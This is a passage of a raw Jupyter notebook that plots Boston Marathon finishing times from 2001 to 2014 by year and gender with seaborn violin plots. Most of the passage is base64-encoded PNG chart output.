QlfV85EZeFEhG\n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\nm9cYY+rq6szUqVPN6NGjA8fy1q1bzcaNG40xxhw8eNCav0XGXD/vu+++a7KysszYsWPdCdANTrPa\nuq8y5vp5bd1XGXP9vMa4t6/iTJ6kjIwMPfbYY5L++hD2iIgIffPNNxozZowkKS0tTfX19QoPD1dS\nUpIiIyMVGRmpoUOH6tixYxo5cqSSkpI0ceJE7dmzx80oXXKS9fjx43ryyScDj0D8+eef6tu3r2tZ\nguE0b25urvx+vySpublZgwYNci1LMJzmHTFihFatWiWPx6PFixe7GSUoTm+7p0+fVktLi3JyctSv\nXz8VFxeH7Ee3OF3b+vp6JSYmKi8vT8YYrVy50s04XXKad+TIkZKkQ4cOadCgQUpJSXEtSzCc5u3X\nr58uXLggSYFHyEOZ07wnT57UM888I+mvM/BLly51LUswgs07YcIE9enTR9u3b1dWVlbg+48ePaoF\nCxZIklJTU/X666/3fIhucJo3Li5OO3fu1MSJE12ZvzucZrV1X9VZXlv3VZ3lNca4tq/iNXmSBgwY\noIEDB6q1tVXLli3T008/HTgAJWngwIHyer1qbW1VTEzMNZe3trZKkiZNmtTjc98Ip1ljYmLUt29f\n/frrr1qxYoWWL1/uRoyg3Yy1DQ8PV25urnbt2qUJEyb0eIbucJr3tdde07hx43T//fe7MX63Oc17\n6623Ki8vT2+++aby8vJUUFDgRoygOM16/vx5/fDDD6qsrNSCBQtUXFzsRoyg3YzbriRt3rxZS5Ys\n6dHZb4TTvBMnTtTnn3+uyZMna+vWrZo+fbobMYLmNO/w4cP14YcfSpI++ugjtbe393iG7ugq74AB\nA+T1eiVJKSkpiouLu+b7W1tbFR0dLek/v5tQ5jTv+PHj1b9//x6d+UY5zWrbvqqrvJJd+6qu8rq5\nr6Lk/e3MmTPKzc1VZmampkyZovDw//xqWltbFRsbq+joaLW1tQUub2trU2xsrBvjOuI06/HjxzV3\n7lx5PB4lJyf3+PzddTPWtqqqSjt37lR+fn6Pzn4jbjRvTEyMampqtG/fPs2ZM0dnz57V/Pnz3YjQ\nLU7Wd8SIEUpPT5ckjR49Wi0tLT0+f3c4Wdu4uLjA6y7HjBmjU6dO9fD03ef0ttvU1KTY2Fjdeeed\nPT77jXCyvi+++KLmzp2rgwcPasuWLVbfV8XGxmrhwoVqbm7WE088oebmZt1xxx1uROiWf8rb1X4i\nOjo68OBFb9l7OMnb2zjNatO+Kti1tWVf1VVeN/dVlDxJZ8+e1bx581RQUBA4xTp8+HA1NjZKkurq\n6pScnKwHHnhAn332mTo6OuT1enXy5EklJia6OXq3Oc3a1NSkZcuWacOGDUpNTXUzSlCc5q2srFR1\ndbWkvx6t6dOnj2tZguEk77333qtDhw5px44d2rFjh+Lj47VlyxY343TJ6fpWVFSoqqpKknTs2LGQ\nfuMGp2s7evRoHTlyRFLoZ5Vuzv1yQ0NDSL+5zNWcru/ly5cDZ3oGDx58zdnMUOR0fT/99FPNnDlT\nO3fu1JAhQ0J+Yxxs3s4kJSWprq4uqOuGAqd5exOnWW3dV3XG1n1VZ9zcV/GaPEmbNm2S1+tVRUWF\nKioqJEnPP/+8SktL5fP5NGzYMGVkZCgsLEw5OTnKzs6W3++Xx+O55h1ywsLCAu+uE6qcZn355Zfl\n8/m0du1aSVJsbGzg54Qip3lnzJihwsJC7d+/X36/X2VlZS4n+mc361iWFPLHsuQ878KFC1VQUKAj\nR44oIiIipNfXadbHH39cJSUlmjVrliTphRdecDNOl27GsXzq1CmNHTvWzRhBc5rX4/Fo5cqVeuut\nt3TlyhWVlpa6nOifOc17zz33qLCwUMYYxcXFad26dS4n+mfB5r3a1ffBs2fPVmFhobKzsxUVFRXS\n7+ItOc/bmzjNauu+6mpX57V1X3W1zo7lnj7Gw4wxpkf/RwAAAADA/wxP1wQAAAAAi1DyAAAAAMAi\nlDwAAAAAsAglDwAAAAAsQskDAAAAAItQ8gAAAADAIpQ8AAAAALAIJQ8AAAAALELJAwDgbytWrNDe\nvXsDX8+ZM0dffvml5s2bp6ysLGVnZ+vbb7+VJJ04cUI5OTmaMWOG0tPTtWPHDknSxo0bNX/+fE2e\nPFlvv/22KzkAAP/fItweAACAUDF9+nRt3LhRM2fOVHNzs86fP6+ysjKtWrVKw4cPV1NTk5YsWaLa\n2lrt27dPixcv1iOPPKLTp09r6tSpmjNnjiTJ5/Pp4MGDLqcBAPy/ouQBAPC3hx9+WC0tLWpublZ1\ndbUyMjK0adMmFRcXB67T3t6uixcvqqioSHV1ddq8ebOOHTum9vb2wHVGjRrlxvgAAEii5AEAEBAW\nFqbMzEwdOHBAtbW1qqys1LZt21RdXR24zpkzZzRo0CDl5+crLi5Ojz76qCZNmqT3338/8DP69u3r\nVgQAAHhNHgAAV8vKytLu3buVkJCghIQEDR06VO+9954kqb6+PvCUzIaGBuXn5ys9PV2NjY2SJL/f\nL2OMa7MDACBxJg8AgGvcfvvtSkhI0LRp0yRJL730klavXq033nhDUVFReuWVVyRJ+fn5ys7OVnx8\nvJKTkzVs2DD9+OOPCgsLc3N8AAAUZnjIEQCAgF9++UU5OTk6cOCAIiMj3R4HAIBu4+maAAD8rba2\nVpmZmVq+fDkFDwDQa3EmDwAAAAAswpk8AAAAALAIJQ8AAAAALELJAwAAAACLUPIAAAAAwCKUPAAA\nAACwCCUPAAAAACzyL9nO6gDpy/3yAAAAAElFTkSuQmCC\n", "text": [ "<matplotlib.figure.Figure at 0x119b659d0>" ] } ], "prompt_number": 131 }, { "cell_type": "code", "collapsed": false, "input": [ "f, ax1 = plt.subplots(1)\n", "ax1.set_title(\"Boston Marathon times 2001-2014 by gender\")\n", "seaborn.violinplot(pd.Series(alltimes.loc[:, \"official\"], name=\"time in minutes\"), groupby=[alltimes.year, alltimes.gender], ax=ax1)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 132, "text": [ "<matplotlib.axes.AxesSubplot at 0x119e18090>" ] }, { "metadata": {}, "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAA4QAAAJZCAYAAADxmft+AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3XmUXFW5NvBnn6GqOwkRhAgOEIYF5KqAjIrM4EJAuDJF\nCNzAQuSqKGr4EEGBIEMggMwuAUW4DApIJsbIPI8uvQoyZF0kCAphSHqo6qozf3+c2qeqeiAodd7d\nqfP81oIk3UnvU1Xdp85z3nfvrZIkSUBERERERESFY5k+ACIiIiIiIjKDgZCIiIiIiKigGAiJiIiI\niIgKioGQiIiIiIiooBgIiYiIiIiICoqBkIiIiIiIqKAYCImIcvLGG2/gP/7jP7D//vtj//33x377\n7Yevfe1r+OMf//hvf82//OUvmD17dseO8bLLLsO0adMwb968to8PDQ1hyy23xLe+9a2OjTU4OIgj\njjgi+/O0adPQ19fXsa/f6qGHHsKll14KAHjggQdw1lln5TLOWOr1Ok4++WTst99+2HffffHjH/8Y\nnucBAJYuXYrDDjsMX/nKVzB9+nT87W9/y/7drbfein322Qdf/vKXcfrppyMMw7av+9JLL2HHHXd8\n37EfffRRHHTQQdh///1x4IEH4rHHHss+d8UVV2DvvffGnnvuicsvv3zEv33sscew//77j/p177vv\nPmy99dajfu7pp5/G3nvv/b7HZdLixYsxc+ZM04dBRDQuMRASEeWop6cHCxcuxMKFC3H77bfjqKOO\nwsknn/xvf73/+7//w7Jlyzp2fEopfOITn8Btt93W9vF77rkHEydO7Ng4ANDf34/nnnuu7WN5bYX7\n3HPPob+/HwCw++6745RTTsllnLH84he/QJIkuP3223HbbbfB8zxceeWVAIATTjgBhx9+OO68804c\nd9xx+N73vgcAWLJkCS6//HLceOONWLx4MQYHB3HttdcCAKIowrXXXoujjz4aQ0NDY447ODiIE044\nAeeddx4WLlyIc845B7NmzUK1WsXDDz+M3//+91iwYAHuuOMOPP3007j77rsBpAH2oosuwqxZsxBF\n0Yivu3TpUsydOze314uIiMxxTB8AEVGRrFixAh/72MeyP99888244YYbYFkW1lprLZx66qlYf/31\n8Yc//AFz585FFEVQSuGb3/wmNt98c1x66aWoVCr48Y9/jDlz5oz570866SRMmjQJS5YswVtvvYUN\nN9wQF154ISZMmDDimHbccUfcf//9WLZsGdZee20AwIIFC7Dffvvh1VdfBQC8+uqrOOOMM1Cr1fD2\n229j2rRpuPjii1EqlfDZz34WX/rSl/DSSy/hggsuwEsvvYRbbrkFQRCgv78fxxxzDGbMmIGTTz4Z\nnufhgAMOyCqSl112Gf73f/8XfX19OProo3H44YcDAH7+85/jrrvugm3bWH/99XHaaadhrbXWwsyZ\nM7Hlllvij3/8I/75z39im222wdy5c6GUyh7Pn//8Z9x8882IogiTJk3C1KlTcc899+CKK67AzJkz\n8dnPfhZPPfUU3nvvPRxxxBF477338Mwzz6BWq+Hiiy/GJptsgsHBQZx99tlYsmQJwjDE9ttvjxNP\nPBG2bePSSy/FfffdB9d1sfrqq+Pcc8/FlClT2p7T7bbbDp/61KcAAJZlYdq0afjb3/6GZcuW4dVX\nX8VXvvIVAMDOO++M008/HS+88AIefvhh7LHHHlhjjTUAAIcccgjOOussfOMb38Bf//pXLFmyBJdc\ncgmOOeaYMb+/wjDE6aefjo022ggAsNFGGyFJEqxYsQL33nsv9ttvP/T09AAADjzwQNx2223Ye++9\n8dhjj8HzPMyZMyerrGq1Wg0nnngiTj75ZPy///f/xhy7Vqvh+9//Pl577TWsttpqOPPMM7H22mtj\nl112wS233IL1118fAHDUUUdh5syZ2H333dv+/VVXXYV58+Zh4sSJ2HrrrXH//ffjgQcegO/7uOCC\nC/CHP/wBURTh05/+NH7yk59g0qRJ2H333XHggQfiySefxJtvvom9994bP/zhDwEAl1xyCe644w6s\nvvrqWG+99bJxVvb1tthiC7z88ss4/vjj8aUvfWnMx0tE1C1YISQiypHneVnL6O677445c+ZkF/RP\nPvkkrr76alx33XVYtGgR9t13X3znO98BkAalo446CvPnz8ecOXPw9NNPY5111sH3v/99bLPNNpgz\nZ877/nsAeOGFF3D11Vfjrrvuwttvv43FixePeoyu62LvvffOqoT//Oc/MTQ0hE022ST7O7/73e9w\n4IEH4qabbsI999yDN954Aw8//DCANITsvvvuWLx4MTbccEPceuut+OUvf4kFCxbgwgsvxPnnnw8A\nOPfcc1Eul7FgwQJYVvr2s95662H+/Pn4+c9/jrlz5yIMQ8ybNw+PPvoo5s2bh9tuuw2bbLIJTjrp\npOxYXn/9ddxwww24/fbb8dRTT+GZZ55pezxbbLEFDj30UHzlK1/BrFmzRjzef/zjH1iwYAEuv/xy\nXHDBBfj85z+PefPmYaeddsINN9wAAJgzZw4++9nPYv78+ViwYAGWL1+Oa665Bm+++Sauu+46zJs3\nD/PmzcOOO+6Iv/zlLyPG2GGHHTB16tRsvOuuuw577bUX3nzzzbYbAgCwzjrr4K233sJbb72VBXIA\nWHvttbNq8Oabb445c+ZgnXXWGfU11NZYY4221s1LL70UG2ywAT71qU/hrbfeavv3rV//S1/6Ek46\n6SRMnjx5xNc87bTTcOihh2LTTTd937HffvttHHXUUVi4cCH2228/nHjiiejt7cX++++P3/3udwCA\nv//971i6dCl22223tn/76KOPYsGCBZg3bx7mz5+PoaGhLORfddVVcBwH8+fPx6JFizBlyhT87Gc/\ny/7t0NAQbrzxRvz2t7/FDTfcgDfeeAP33Xcf7r33XixatAg33XQTarXaB/56m2yyCe666y6GQSIq\nDFYIiYhyVC6XsXDhwuzPf/rTn3DMMcdg4cKFePTRR7HPPvtkFaEDDjgAZ599Nt544w3ss88++OlP\nf4oHHngAX/ziF7Ng09qy937/XimFnXbaCa7rAkgvcnUL5Wi++tWv4ic/+QmOOeYYLFq0aMQ8sh/+\n8Id47LHH8Ktf/Qqvvvoq3n77bVSr1ezz22yzDQBgwoQJuOKKK/Dggw/itddew4svvoharTbi2LV9\n990XQDqf0Pd9VCoVPPLIIzjooIOyStbMmTNxxRVXIAgCAMjCxMSJEzF16lQMDAyM+LpJkozZ3rjn\nnnsCQFbB22mnnQAA6667Lp599lkA6RzE559/HrfeeiuAtKXSsiyss846mDZtGg444ADstNNO2Hnn\nnbH99tuP+bw+//zzOO644zBz5kzssssuY84ftW171OPVwflfFYYhzj33XDz66KP4n//5HwCjP/8r\n+/o33ngjHMfBgQceiDfeeON9/+6mm26Kz33ucwCA/fffH6effjoqlQpmzJiBmTNnYtasWbj55psx\nffr0toouADz88MPYe++9MWnSJADA4YcfjieffBJA+loMDg7iiSeeAAAEQYA111wz+7d77LEHgDTg\nrrnmmujv78eTTz6JPffcM6uIH3zwwbjmmms+0NfT38tEREXBQEhEJGjLLbfEBhtsgL/85S+jhpYk\nSRBFEQ455BDstttuePzxx/Hoo4/i8ssvHzHPb6x/rxciKZfL2ceVUmMGJKUUNttsM0RRhJdeegl3\n3303brjhBtx3333Z35k1axbiOMbee++NXXfdFW+99Vbb19AX3m+99RYOOeQQHHroodhmm23w5S9/\nGQ899NCYz4fjONkxjPWY4jhGGIbZx3VQbH3Moz2m4aFDK5VKbX+2bXvE34njGJdccgk23HBDAMDA\nwED2NW+44QY8//zzeOKJJ3DOOefg85//PH7yk5+M+Bp33nknzjjjDJx22mlZi+gnPvEJvPvuu21/\nb9myZVhnnXXw8Y9/HO+8886Ij7+fm266CTfddBMAYLPNNsOZZ56J/v5+fO9734NSCrfccgs+8pGP\nA